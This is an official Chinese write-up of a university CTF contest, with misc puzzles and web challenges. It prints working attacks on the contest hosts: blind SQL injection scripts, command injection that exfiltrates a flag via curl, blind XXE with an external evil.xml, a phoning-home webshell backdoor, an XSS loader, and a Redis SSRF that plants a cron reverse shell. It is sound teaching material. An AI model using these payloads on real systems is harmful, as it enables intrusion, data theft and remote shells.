Category Archives: CTF

胖哈勃杯第十三届CUIT校赛官方Writeup

misc

签到题

老套路,关注我们的微博:http://weibo.com/sycloversyc
发送私信就好啦

Misc.Chami

引用Nu1L师傅们的wp

ps: 数据在文本替换上出错了,向大家道歉.

Terraria

引用全全全全全全完了的wp
休闲题,玩玩游戏拿拿flag岂不美哉?

我们在各位大佬开过荒之后进图找flag,发现了上天的台阶

在天上找到了虹色的flag(有个大坏蛋把下划线挖掉了)

我萌吗?

引用BXS的wp

<html> <head>
<script src="./someThing.js" type="text/javascript"></script>
<script src="./noBug.js" type="text/javascript"></script> </head>
<body>
<img src="./key.png" alt="" width="500" height="500"> <img src="./dest.png" width="500" height="500" alt="">
</body> </html>


 function encode(e,r,n,a,i){for(var o=[],t=[],f=fs.readFileSync(r),g=fs.readFileSync(n),s=new pp(f),d=new pp(g),h=s.size(),c =h.width*h.height,l=(new Buffer(4*c),0);l<e.length;l++)for(v=Math.floor(c*Math.random());;){if(!o.includes(v)){o.push(v),t. push(l);break}v=(v+1)%Math.floor(c)}for(l=0;l<h.height;l++)for(var p=0;p<h.width;p++){var u=o.findIndex(function(e){return e===l*h.width+p}),b=t[u];if(-1!==u){var v=s.get(p,l);100*Math.random()>50&&!o.includes(p*h.width+l)?(s.set(p,l,{r:255- v.r,g:255-v.g,b:255-v.b,a:v.a}),d.set(l,p,{r:v.r,g:b,b:e.charCodeAt(b)})):(s.set(p,l,{r:v.r,g:b,b:255-v.b,a:v.a}),d.set(p, l,{r:v.r,g:e.charCodeAt(b),b:v.b,a:v.a}))}}s.save(a,function(e){console.log(e)}),d.save(i,function(e){console.log(e)})}var pp=require("png-img"),fs=require("fs"),flag="5L2g5LiN5Lya5Lul5Li66L+Z5piv562U5qGI5ZCnPw==";encode(flag,"1.png","ks.png","de st.png","key.png");


pic

三次dwt变换,[HH,HL,LH,LL]中的LL,小波变换的原理

小小的PDF

原本pdf中有三张图片,我通过修改控制图片显示高度参数隐藏含有flag的那张图片。
拿到一个文件下意识应该回去binwalk跑一下
发现是存在三张图片的,将最后一张图片通过偏移提取出来,或者直接利用foremost处理一下也可以直接得到flag图片

藏着东西的流量包

题目描述中已经提示了“黑客绕过层层防火墙”,而实战中木马远控等绕过最常用的就是DNS协议。
得到一个流量包首先过滤一下文件请求看一下。在http中可以找到一个key.zip,从中可以获取key,可以看到他是从key.hacker.com下载,根据提示应该去单独过滤一下还和这个域名请求了什么
在这里可以发现存在大量DNS请求,都是以四位16进制数字开头,这里可以将其过滤出来得到

56544a4763325248566d74594d5374704e464d78633239706369395356445a7462335254536d526e54464644527a564e576c526c6247396e636b56505153746f6545354d57455644624849345755706f5957783159773d3d

转换字符串可以得到一串base64,解开之后再利用之前获得key去解AES即可
如果不会提取DNS可以参见http://blog.csdn.net/u011500307/article/details/25838075

web

山水集团

0x00 出题思路:

这道题目考察点有三部分:

  1. SQL注入绕过

思路来源:

http://www.freebuf.com/articles/database/132189.html

http://blog.nudtcat.org/SQL注入/百度BSRC-SQL注入挑战赛部分writeup/

https://www.exploit-db.com/papers/18263/

  1. MySQL字符编码集

思路来源:

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

  1. 后台无回显的命令执行

思路来源:

真实渗透测试中遇到的一次案例,Linux:cat * |head -n,而n参数是由我们传入可控且未过滤,最后导致拼接管道符后导致命令执行

0x01 解题思路:

  1. 先对题目进行一个简单的信息搜集,发现存在一处目录遍历漏洞:

http://54.223.247.98:8090/doc/

img

其中有两个文本文件,但是目前并未发现有什么用处,可以先做记录

  1. 对题目功能部分进行简单浏览发现

    (1). 点击题目商品详情模块存在一个id参数,而id采用了base64(phpauthcode)加密

    (2). 商品详情页面可点击分享商品,会向/share.php post text参数,参数的内容正对应id内容

故其实我们不需要知道id参数是如何加密的,利用向/share.php post text 即可生成对应加密后的payload

(3). 测试发现,shop_items.php?id= 对传入参数解密后存在WAF过滤,故我们可以先生成对应加密payload,对常见的字符串函数和操作符进行Fuzz,实际后端过滤如下:

/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i

注入分析

waf对运算符没有过滤太严,过滤了常见的字符串函数和基本注入语句中的一些,出数据的要点就是字符串的比较运算,因为语句执行的结果影响了前端页面的展示,所以可以利用大小比较、数据库查询错误等多种方法构造布尔型盲注语句。

过滤了空格及其他间隔字符,可以用括号绕过

过滤了&|*/=等逻辑处理字符,可以用inexistsposition..in><!<>等其他的结构及操作符组合绕过

过滤了substringmid等字符串分割函数,可以用比较运算符绕过

这些知识点可以参考小组的小伙伴们写过的文章以及MySQL官方文档

MySQL注入攻击与防御

http://bobao.360.cn/learning/detail/3804.html?imageView2/1/w/125/h/78/q/100

数据库名

没有禁用database函数,可以直接查询select(database())比较下就出来了

payload:(详见数据脚本

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = '(select(database())>0x{0})'
query_statement_1 = '(select(database())<0x{0})'

表名

个数脚本跑完可以看到,backend数据库中有两个表,在不知道表名的情况下,查询表名返回的多行结果会让数据库产生错误,返回为空,而当构造条件使查询只返回一条记录时,便会正常的返回一些信息。

注入步骤

如果表名的第一个字符不一样,我们可以先把第一个字符的分界点跑出来,比如这里stu就是分界字符,然后再用分界字符筛选一下跑具体的表名

payload:

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = '(select(select(table_name)from((select(table_name)from(information_schema.tables)' \
                  'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'
query_statement_1 = '(select(select(table_name)from((select(table_name)from(information_schema.tables)' \
                    'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))<0x{0})'

这里可以跑出第一个表名:SHOP_ITEMS。然后将table_name<0x74改成table_name>0x74就可以跑出第二个表名USERS

字段名

个数脚本再跑一下发现users表中有两个字段,同表名,可以利用返回结果多行来产生错误造成返回的差异得到数据。这里可以通过>运算可以过滤掉表SHOP_ITEMS的字段

payload(user_pass):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                  'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53)))r)' \
                  'where(column_name>0x{0}))>0x{0}'
query_statement_1 = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                    'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53)))r)' \
                    'where(column_name>0x{0}))<0x{0}'

这里可以跑出字段user_pass。因为user_这个前缀是共有的,p>nn的下一位是还有数据,所以在我的脚本里不符合终止和真实数据的条件,就继续跑下去把后面的pass先跑完了。然后同样的可以用>过滤下字段名,跑第二个字段。

payload(user_name):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                  'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53))>' \
                  '((column_name)in(0x555345525F50415353)))r)where(column_name>0x{0}))>0x{0}'
query_statement_1 = 'select(select(column_name)from((select(column_name)from(information_schema.columns)' \
                    'where((table_schema)in(0x6261636b656e64))>((table_name)in(0x53484F505F4954454D53))>' \
                    '((column_name)in(0x555345525F50415353)))r)where(column_name>0x{0}))<0x{0}'

数据

个数脚本跑一下只有一条数据,可以直接读

payload(user_name):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(user_name)from(users))>0x{0}'
query_statement_1 = 'select(select(user_name)from(users))<0x{0}'

payload(user_pass):

logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)"
query_statement = 'select(select(user_pass)from(users))>0x{0}'
query_statement_1 = 'select(select(user_pass)from(users))<0x{0}'

数据大小写问题

没有ascii,hex函数,怎么跑大小写?像我的这个脚本,跑出来全是大写的。这次也有好几个师傅在问这个问题,当然进后台的师傅们在没有注出大小的情况下依旧有办法进入后台,用户名中一共就6个字母,爆破一下就行了。但实际上是可以注出来的。

我们知道在ascii表中,A-Z的范围为0x41-0x5aa-z的范围为0x61-0x7a。中间还隔着0x5b-0x60。mysql中两个英文字母是按照字母表的顺序而不是ascii值,但如果是英文字母和非字母字符做比较则是按照ascii码进行比较的,所以可以先与0x5b-0x60中的任意一个做比较,确定大小写,再跑具体的字母。

脚本

  • 数据脚本

# encoding: utf-8 """ [+] 河流之心@Syclover [+] 2017-5-30 0:20 """ import requests """ payload """ # 以数据库名为例 logical_statement = "text=9423>(case(%s)when(1)then(1)else(0)end)" query_statement = '(select(database())>0x{0})' query_statement_1 = '(select(database())<0x{0})' """ payload """ url_1 = "http://54.223.247.98:8090/share.php" url_2 = "http://54.223.247.98:8090/shop_items.php?id=%s" headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Referer": "http://54.223.247.98:8090"} hex_s = ["20", "21", "22", "23", "24", "25", "26", "27", "28", "29", "2A", "2B", "2C", "2D", "2E", "2F", "30", "31", "32", "33", "34", "35", "36", "37", "38", "39", "3A", "3B", "3C", "3D", "3E", "3F", "40", "41", "42", "43", "44", "45", "46", "47", "48", "49", "4A", "4B", "4C", "4D", "4E", "4F", "50", "51", "52", "53", "54", "55", "56", "57", "58", "59", "5A", "5B", "5C", "5D", "5E", "5F", "60", "61", "62", "63", "64", "65", "66", "67", "68", "69", "6A", "6B", "6C", "6D", "6E", "6F", "70", "71", "72", "73", "74", "75", "76", "77", "78", "79", "7A", "7B", "7C", "7D", "7E", "7F", "80"] data = '' def _request(c, m): if m is not 'last_char': payload = logical_statement % query_statement else: payload = logical_statement % query_statement_1 for count in range(3): try: response = requests.post(url_1, headers=headers, data=payload.format(data + c),) response = requests.get(url_2 % response.content, headers=headers) return response.content except Exception as e: print "Error Occurred : ", e.message completed_flag = False for p in range(1, 100): if completed_flag: break print 'Position: ', p for w in hex_s: if w == "80" and "维他柠檬茶" in _request(data[-2:], 'last_char'): data = data[:-2] + hex_s[hex_s.index(data[-2:]) + 1] completed_flag = True break elif "维他柠檬茶" in _request(w, '1'): char_index = hex_s.index(w) data += hex_s[(char_index - 1) if char_index > 0 else char_index] print data break print "data : ", data.decode('hex') ``` * 个数脚本 ```python # encoding: utf-8 """ [+] 河流之心@Syclover [+] 2017-5-30 0:20 """ import requests """ payload """ # backend数据库中表的个数为例 logical_statement = "text=9423>(case(%s)when(1)then(0)else(1)end)" query_statement = '(select(count(table_name))from(information_schema.tables)where' \ '((table_schema)in(0x6261636b656e64)))>{0}' query_statement_1 = '(select(count(table_name))from(information_schema.tables)where' \ '((table_schema)in(0x6261636b656e64)))<{0}' """ payload """ url_1 = "http://54.223.247.98:8090/share.php" url_2 = "http://54.223.247.98:8090/shop_items.php?id=%s" headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Referer": "http://54.223.247.98:8090"} def _request(l, m): if m is not 'check': payload = logical_statement % query_statement else: payload = logical_statement % query_statement_1 for count in range(3): try: response = requests.post(url_1, headers=headers, data=payload.format(l)) response = requests.get(url_2 % response.content, headers=headers) return response.content except Exception as e: print "Error Occurred : ", e.message for num in range(100): print 'Testing Length: ', num if "维他柠檬茶" not in _request(num, 1) and "维他柠檬茶" not in _request(num, 'check'): print 'Length: ', num exit() ``` 选手解题思路: 1. Vidar c014(应该是最快注入出数据的师傅,只是最后有些可惜) ```python #!/usr/bin/env python # -*- coding:utf-8 -*- import requests s = requests.session() def get_data(): result = "" # database = "backend" table = "SHOP_ITEMS,USERS ". columns = "ID,TITLE,PRICE,CONTENT,USER_NAME,USER_PASS " "q1t0ngw3i" "ab@15!74587~caibudao" #q1t0ngw3i #ab@15!74587~caibudao for j in range(0,99): for i in range(33,128): print i url1 = "http://54.223.247.98:8090/share.php" sql1 = "'0'or(select(group_concat((user_pass)SEPARATOR'-'))from(users))<'"+result+chr(i)+"'" data = {"text":sql1} headers1 = {"Referer":"http://54.223.247.98:8090/shop_items.php?id=Yjg1My8yeTBTZVNFcUZuYmNpd3BUL3BEbjhBOHNzZlM5MG0wSzBvYml6Zm8="} r1 = s.post(url1, data=data, headers=headers1 ) sql = r1.text # print sql url2 = "http://54.223.247.98:8090/shop_items.php?id=" payload = url2 + sql # print r2 = s.get(payload,headers=headers1) # print r2.text if "妹纸妹纸" in r2.content: result = result + chr(i-1) print result break def test(): # s = requests.session() url1 = "http://54.223.247.98:8090/share.php" sql1 = "'0'-" data = {"text":sql1} headers1 = {"Referer":"http://54.223.247.98:8090/shop_items.php?id=Yjg1My8yeTBTZVNFcUZuYmNpd3BUL3BEbjhBOHNzZlM5MG0wSzBvYml6Zm8="} r1 = s.post(url1, data=data, headers=headers1 ) # payload = url + sql # r = s.get(payload) sql = r1.text print sql url2 = "http://54.223.247.98:8090/shop_items.php?id=" payload = url2 + sql print r2 = s.get(payload,headers=headers1) print r2.text # test() get_data()
  1. NU1L

img

img

  1. 利用注入得到的数据登录后台

Q1t0ngW3i(用户名可通过上述方式判断大小写或者根据提示爆破6位字母大小写组合)

img

ab@15!74587~caibudao (密码处需要注意注入字符的范围)发现当用户名为:

发现Q1t0ngW3i 登录后台时,返回出现不同:

img

查看页面源码发现提示:

img

这个思路比较常见了,利用MySQL字符编码问题绕过,具体可以看看ph师傅这篇文章:

https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html

最后向 http://54.223.247.98:8090/user/logCheck.php post:

user=Q1t0ngW3i%c2&pass=ab@15!74587~caibudao&submit=%E7%99%BB%E5%BD%95

即可成功登陆,跳转到后台

  1. 后台无回显命令执行

img

这里当时设计的时候做的不是很好,给大家造成了一点困扰,右边那部分

cat ./../doc/haha.book |head -10 本来是想提示大家命令的格式,然后结合显示行数大家能推断出来10这个部分是我们可控的。但是实际大家在尝试的时候因为输入行数发现右边部分内容并未改变就比较困扰(在思考这里是否可能是有回显的命令执行)。

后来,放了一个提示:

img

首先说一下预期的一种解法:

这里我们测试的时候,会发现一些命令和空格被过滤了,后端过滤如下:

$filter = "/ |&|\<|\>|\?|%09|%0a|%0b|%0c|%0d|%20|%00|ls|cat|;|folye0GsJWr|-|\^/i";

然后大家会想到,此处可能只是对于这些特定的命令在代码层进行了过滤,而服务器上这些命令依然是可用的

结合我们在第一步信息搜集时发现到的:目录遍历漏洞,其中存在一个secret.txt,我们可以利用secret.txt中的字符拼凑出我们的命令(此处的目录遍历漏洞发现大家都没有太重视)

10|curl${IFS}http://yours.ceye.io/$(`expr${IFS}substr${IFS}$(awk${IFS}NR==2${IFS}./../doc/secret.txt)${IFS}4${IFS}1``expr${IFS}substr${IFS}$(awk${IFS}NR==3${IFS}./../doc/secret.txt)${IFS}10${IFS}1``expr${IFS}substr${IFS}$(awk${IFS}NR==2${IFS}./../doc/secret.txt)${IFS}20${IFS}1`${IFS}../folye0GsJW*|base64)

最后在请求记录中获得最终的FLAG

但是命令执行漏洞,这里特别难以限制和过滤,如果非要大家去使用这种预期的解法思路就会显得过于刻意,所以这里尽管知道会出现其他的一些解法也没有做更多的限制了。因而,这一步还有很多其他的思路也可以达到同样的效果。

WEB250

  1. 时间伪随机的弱Token,导致所有用户的密码可被重置
  2. 后台Blind-XXE过滤其他协议宇关键字,使用PHP伪协议读取数据

进入题目首先看到题目与提示都出现了Time,此题应该与时间有关,继续看到下面有如下提示:

  1. Not SQL Injection
  2. No source code
  3. Not Weak password
  4. Have fun

之后进入题目分析功能,注册,登陆与忘记密码,那结合提示已经很明显了,漏洞就在忘记密码处:

那么我们注册之后在这里填写我们注册的邮箱就能在源码里看到我们的重置链接(ps:起初是想直接发邮件给大家,但是考虑到选手请求过多会造成发送不出邮件的情况,所以之间给出链接在源码当中)

我们拿到链接http://54.223.247.98:2001/resetpassword.php?email=test@admin.com&token=fc944ea6b92f5a8480969e02e7b19cf0
分析之,那么只有token这个地方存在漏洞了,判断为md5,解出为一串时间戳,而且我们重置管理员的邮箱时没有回显链接,很明显,是通过时间戳去用脚本跑出管理员的重置链接,得到管理员的密码进入后台即可。(PS:这里说明一下有的朋友通过大小写管理员邮箱的方式去得到链接,然后去重置的方式是可以的,当时主要是为了防止搅屎所以每个用户可以有多个token却没有考虑到数据库查询时对大小写不敏感的问题,导致这种方式也可以去得到一个重置token,但这不是出题点😂,)

但是访问链接会出现这个问题:

IP在黑名单当中,但是注意到是说客户端IP或者代理IP在黑名单当中,可以得到信息这个地方改XFF头即可,因为XFF是用来在代理当中获取IP的一个手段。在反向代理时就会使用XFF来获取IP。

那么得到密码进入后台:

当我们点击生成之后就会生成一个有提示为xml的页面,很明显的一个XXE漏洞了。这里是一个简单的Blind-XXE,过滤了一些协议,这里直接放payload了:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % ttt SYSTEM "php://filter/convert.base64-encode/resource=/flag">
    <!ENTITY % xxx SYSTEM "http://Your IP/evil.xml">
    %xxx;
    %send;
]>
<root></root>


evil.xml:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://Your IP/?content=%ttt;'>">
%payload;

中国菜刀

对菜刀抓包可以发现在打开webshell的时候里面有一段后门代码

base64解码后

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;file_get_contents('http://x.x.x.x/shellbox.php?shell='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_Pwd='.key($_POST));;echo("|<-");die();

可以知道后门的地址是x.x.x.x/shellbox.php,类似那些钓鱼的网站你填入的信息会记录到后台,这里shell的信息一样也应该会被记录,所以可以去测试是否有xss。发现script,on事件这些有过滤,对接收webshell的信息也有时间限制不能一直发(这个是防止别人搞事了)。通过一些普通的标签比如img这些可以看到后台的请求,例如http://127.0.0.1/shellbox_admin.php?id=1
这里是只能在服务器通过127.0.0.1去访问的,为了防止做题的人在这浪费时间,加了个这里不会有漏洞的注释。
盲打的话可能会有些蛋疼,所以也有个.shellbox.php.swp文件来用来泄漏过滤的规则

    if(preg_match('/script|object|link|on\w*?\s*\\=\s*[\\x00-\\x7f]+?$|srcdoc\s*\\=\s*[\\x00-\\x7f]+?$/i',$shell)){

可以看出来这里的过滤其实并不是很严格的,用iframe就有不少姿势可以绕过(这里没做更多过滤是觉得限制死一种解法的话不好),所以没扫到上面的那个文件也没关系了。这里的规则是参考之前一个xss挑战赛的弄的一个类似的,它也是检测属性里的值是否是ascii码才过滤,用%80后面的字符就可以绕过了,on事件里面插入这些字符会导致没法执行了,但是srcdoc这里没关系,所以一个解法是

<iframe srcdoc="%80<script>window.parent.document.body.appendChild(window.parent.document.createElement('script')).src='http://x.x.x.x/1.js'</script>">

里面除了%80外的其它字符还要用html编码一次,这里的js是去读源码的,通过读http://127.0.0.1/shellbox_admin.php?id=1的源码就可以拿到flag

简陋的博客

ps:首先这里出题人先背锅,这道题get过滤的比较严格,post就只是象征性的过滤了下,但是由于测试的时候将`去掉了,导致出现了很多非预期的解

下面是处理get、post和request的代码

if (!empty($_GET)){
        foreach($_GET as $value){
            if (preg_match('/(and|or|union|select|update|delete|insert|from|where|limit|sleep|count|concat|rand|floor|substr|ascii|char|mid|order|version\(\)|database\(\)|user\(\)|\#|\-\-|\'|\"|\=|\*|\&|\|\`)/i', $value)){
                die('Bad request!');
            }
        }
    } else if (!empty($_POST)){
        foreach($_POST as $value){
            if (preg_match('/(and.*\=.*|or.*\=.*|\&\&.*\=.*|\|\|.*\=.*|union select|select.*from.*where|limit .*,.*|sleep(.*)|if(.*)|order by [0-9]*|left(.*,.*)|\`)/i', $value)){
                die('Bad request!');
            }
        }
    }

    foreach($_REQUEST as $key => $value){
        if (!is_array($value)){
            $_REQUEST[$key] = addslashes($value);
        }
    }
    extract($_REQUEST);

这里已经将 `加上去了,在get请求的时候同时post提交payload,就可以绕过前面的关键字检测,后面就是注入了

短域名工具

此题是一个短域名生成工具,某次使用google短域名的时候,发现居然还会请求域名!后面发现挺多短域名工具也会这样做,所以以此为契机。

非预期解法绕过,Nu1L的师傅用dns重绑定绕过,orz

http://0xAC120002

这个题目,我是做了严格的过滤的,302跳转后的地址也是验证的,另外对内网地址限制,是先经过解析为ip,然后再进行ip限制。但是当时没仔细看ip的限制,docker里面的ip是172.18段,导致是可以绕过的。
代码修改于:
https://github.com/chengable/safe_code

我就说说原本的思路吧

主要考察两点:
1、dns重绑定绕过ssrf的waf
2、dict协议利用

php的waf做判断的时候,第一次会解析域名的ip,然后判断这个ip是不是内网ip,如果不是内网ip的时候,再去真正用curl请求这个域名。
这就牵涉到了,curl请求这个域名会做第二次域名解析,重新对dns服务器进行请求,获得到一个内网ip,这时候就是绕过限制请求到了内网资源。
当然需要ttl设置为0,不然里面坑点挺多。

自己写一个dns服务器,

所以当我们请求的时候:
http://域名/tools.php?a=s&u=http://ip:88/_testok
等价于:
http://127.0.0.1/tools.php?a=s&u=http://ip:88/_testok

可以看到是dns绕过限制成功

另外可以从phpinfo中获取到很多信息。比如redis的主机

另外还有一个很重要的点:libcurl是7.19.7,版本很老,只支持tftp, ftp, telnet, dict, http, file
大家对gophar比较熟悉,但是事实上,dict等协议也是可以利用的,比如利用它来攻击redis

最后的exp:

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dir:/var/spool/cron/

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/config:set:dbfilename:root

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/8888\x200>\x261\x0a\x0a\x0a"

54.223.247.98:2222/tools.php?a=s&u=dict://www.x.cn:6379/save

这里面最需要注意的就是编码问题,一不小心就很容易出问题

三叶草影视集团

先按从题目入手
http://www.rootk.pw/

题目描述:
三叶草影视集团最近准备向电影圈进军,设计网络架构到安全防护措施方案,忙忙碌碌的准备了两个月,今天终于要上线啦!

第一个flag:

flag在后台中.
此题贴近实战,需要做一定的信息收集
信息收集包含 -> 域名信息收集 ,需要社工
注入点权限很高,模拟的root用户,但是防止搅屎,有些权限做的比较严
pdo mysql

第二个flag:

第二个flag在管理员的个人机器上,不知道个人机器是哪个?反正是挺安全的一个个人机器
管理员经常喜欢3389登录办公服务器,偷偷ps: 师傅们别搅屎,这里的权限不好做,所以就没做了,但是flag应该是删不掉的。嘻嘻

信息收集
1、直接whois查询是有域名保护的,可以找一些威胁情报平台进行查询
https://x.threatbook.cn/domain/rootk.pw

邮箱:vampair@rootk.pw
注册人:Zhou Long Pi

既然有这样的邮箱,可以通过经验猜解会有:mail.rootk.pw,当然也可以用二级域名扫描工具扫描一下。
社工库中找一下vampair这样的名字,组合密码构成字典,可以得到密码为19840810

其中有一个邮件十分引起注意,http://dns-manage.rootk.pw:8080/index.php
it_manager@rootk.pw 发送的

主战渗透
2、
主战用了百度cdn,这个很明显不是真是的ip

主战里面能够点击的链接也就只有:http://www.rootk.pw/single.php?id=2
主战有cdn,那么想要找到真实ip的话,看一下前面的mail域名的ip,查询得知此ip是疑似真实ip,修改hosts然后再访问一下主站是能够访问到的。这样就绕过了百度的cdn

可以很轻松的测出是有注入,其中过滤了空格,使用/**/等就可以绕过:

http://www.rootk.pw/single.php?id=2%27-%271

再继续测试出是支持多语句:

http://www.rootk.pw/single.php?id=2%27-%271%27;select/**/1;

常规的从注入中获取数据:
数据库名、表名、字段

数据库名:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/SCHEMA_NAME/**/from/**/information_schema.SCHEMATA/**/limit/**/1,1);
movie表名:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA='movie'/**/limit/**/0,1);
movie表的字段:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_SCHEMA='movie'/**/and/**/TABLE_NAME='movie'/**/limit/**/1,1);

- movie
    + movie
        - content
        - name
        - id

- temp
    + temp
        - content
        - id

不过里面都没啥数据

1、http://www.rootk.pw/single.php?id=0'/**/union/**/select/**/1,user();

iamroot@10.10.10.128
iamroot,表示着是有root权限,另外也是库站分离,ps:模拟了root权限,防止搅屎

2、http://www.rootk.pw/single.php?id=0'/**/union/**/select/**/1,load_file('/etc/passwd');

有着FILE权限,可以读取导出文件,(@@secure_file_priv变量为空)

http://www.rootk.pw/single.php?id=0'union/**/select/**/1,'lemonlemon'/**/into/**/outfile/**/'/tmp/lemon.txt';
可以验证一下是导出成功的
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(load_file('/tmp/lemon.txt'));

一个linux下的mysql数据root的注入点?可以干什么?可以试试udf,当然渗透时候还是需要运气,因为就看管理员会不会帮你把这个mysql的插件目录权限打开(默认是无权限导入的)

3、http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/@@plugin_dir);

/usr/lib64/mysql/plugin/

4、insert/update/delete都被拦截

有这样的姿势可以绕过,利用mysql的预查询,这样就没有insert那些关键字

SET @SQL=0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729;PREPARE pord FROM @SQL;EXECUTE pord;

其中0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729
解码就是INSERT INTO movie (name, content) VALUES ('aaaa','aaaa')

其中有一个temp数据库名,里面能够insert进去数据

PS:做了权限防护,不能delete、update,只能insert,权限图:

http://www.rootk.pw/single.php?id=1';SET/**/@SQL=0x494e5345525420494e544f2074656d702e74656d702028636f6e74656e74292056414c5545532028276c656d6f6e746573742729;PREPARE/**/pord/**/FROM/**/@SQL;EXECUTE/**/pord;

作用:INSERT INTO temp.temp (content) VALUES ('lemontest')

验证是否插入数据成功:
http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/content/**/from/**/temp.temp);

尝试构造udf去执行系统命令
这里udf需要注意的是,系统版本问题,容易出现Can’t open shared library等问题

http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(load_file('/etc/issue'));

CentOS release 6.9 (Final) Kernel \r on an \m

可以下载一个centos 6.9,然后自己重新编码udf.so,sqlmap的udf.so测试是失败。

因为这台数据库服务器是外网隔离的,所以上传文件,也只能通过这个注入点来写,但是url的长度是有限的,所以还需要分几次写。

可以下载一个centos 6.9,然后自己重新编码udf.so,sqlmap的udf.so测试是失败。

因为这台数据库服务器是外网隔离的,所以上传文件,也只能通过这个注入点来写,但是url的长度是有限的,所以还需要分几次写。

由于get请求是有长度限制的,所以每次发送的数据不会很多。写一个脚本上传一下已经16进制化后的文本。

import binascii
import requests
import re

# String len
c = 500
with open('udff.txt') as f:
  for s in f:
    content = [s[i:i+c] for i in xrange(0,len(s),c)]

regx = '<p class="m_4">(.*?)<\/p>'
flag = 1
id_arr = []

for data in content:

  # insert content
  if flag:
    expp = "INSERT INTO temp.temp (content) VALUES ('%s')" % data
    url2 = "http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/id/**/from/**/temp.temp/**/where/**/content='{data}'/**/limit/**/0,1);".format(data=data)
  else:
    expp = "INSERT INTO temp.temp (content) VALUES (CONCAT((SELECT * from (select content as b from temp.temp where id='%s')B),'%s'))" % (temp_id,data)
    url2 = "http://www.rootk.pw/single.php?id=0'union/**/select/**/1,(select/**/id/**/from/**/temp.temp/**/where/**/content/**/like/**/'%25{data}%25'/**/order/**/by/**/id/**/desc/**/limit/**/0,1);".format(data=data)
    print url2
  exp = binascii.b2a_hex(expp)

  url = "http://www.rootk.pw/single.php?id=1';SET/**/@SQL=0x%s;PREPARE/**/pord/**/FROM/**/@SQL;EXECUTE/**/pord;" % exp
  requests.get(url)

  # select id

  r1 = requests.get(url2)
  m = re.search(regx,r1.content)

  if m.group(1):
    temp_id = m.group(1)
    id_arr.append(m.group(1))
  else:
    print 'Error.'
  flag = 0
print id_arr

可以发现根目录下有一个tools目录,读取里面的脚本

http://www.rootk.pw/single.php?id=0'union/**/select/**/1,load_file('/tools/admin_log-manage.py');

大概几个关键点:
# Author: it_manager@rootk.pw

dns的后台账户密码
data = {
  'user' : 'helloo',
  'pass' : 'syclover'
}

password = "it_manager@123@456"
to_addr = "it_manager@rootk.pw"

从mail中翻到了网络规划图,大概就是做了两个段,有个DMZ(9段),还有一个感觉像是服务段(10段),两段通过一台路由器串着。

再去dns管理后台看一下,发现是能给控制后台域名admin_log.rootk.pw的解析的

这样我们可以将解析地址改为我们的vps,然后vps做一个转发再到这个原来服务器的ip,这样就能进行钓鱼,vps上面监听一下数据。

现在在中间端口转发一下
./ew_for_linux64 -s lcx_tran -l 80 -f 靶机ip -g 80

然后抓取一下流量
tcpdump tcp -i eth1 -t -s 0 -w ./test.cap

获得账户密码:
user=sycMovieAdmin
pass=H7e27PQaHQ8Uefgj

登陆后可以获得第一个flag:SYC{2b1bd3f62cc75da2bc14acb431e054a0}
http://admin_log.rootk.pw/main.php

这里有提示: 恭喜拿到第一个flag,接下来回到内网继续深入吧!


